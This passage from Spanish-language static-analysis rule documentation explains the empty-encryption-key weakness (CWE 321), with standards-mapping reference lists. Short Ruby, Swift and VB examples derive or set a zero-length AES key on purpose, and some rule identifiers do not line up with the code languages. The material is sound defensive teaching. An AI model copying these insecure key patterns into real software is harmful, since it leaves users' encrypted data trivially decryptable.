[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El código siguiente utiliza una función de derivación de claves basadas en contraseñas con una longitud de clave de cero, lo que produce una clave de cifrado vacía:


require 'openssl'
...
dk = OpenSSL::PKCS5::pbkdf2_hmac_sha1(password, salt, 100000, 0) # returns an empty string
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave de cifrado vacía. El uso de una clave de cifrado vacía no solo reduce considerablemente la protección que proporciona un buen algoritmo de cifrado, sino que además dificulta enormemente la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"",
0,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que se haya distribuido el programa, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_encryption_key
Abstract
Las claves de cifrado vacías pueden poner en riesgo la seguridad de una forma que no es fácil de resolver.
Explanation
El uso de una clave de cifrado vacía nunca es una buena idea porque reduce considerablemente la protección que proporciona un buen algoritmo de cifrado y también dificulta en gran manera la solución del problema. Una vez que el código dañino está en ejecución, la clave de cifrado vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por la clave de cifrado vacía se ve comprometida, los propietarios del sistema deberán elegir entre la seguridad y la disponibilidad.

Ejemplo 1: el código siguiente realiza el cifrado AES con una clave de cifrado vacía:


...
Dim encryptionKey As String
Set encryptionKey = ""
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...


No solo permitirá a cualquiera con acceso al código determinar que se está usando una clave de cifrado vacía, sino que cualquier usuario malintencionado podrá descifrar datos cifrados con gran facilidad. Una vez que la aplicación se haya distribuido, se requiere una revisión del software para cambiar la clave de cifrado vacía. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Si los usuarios malintencionados tienen acceso al ejecutable de la aplicación, podrían saber que se está usando una clave de cifrado vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
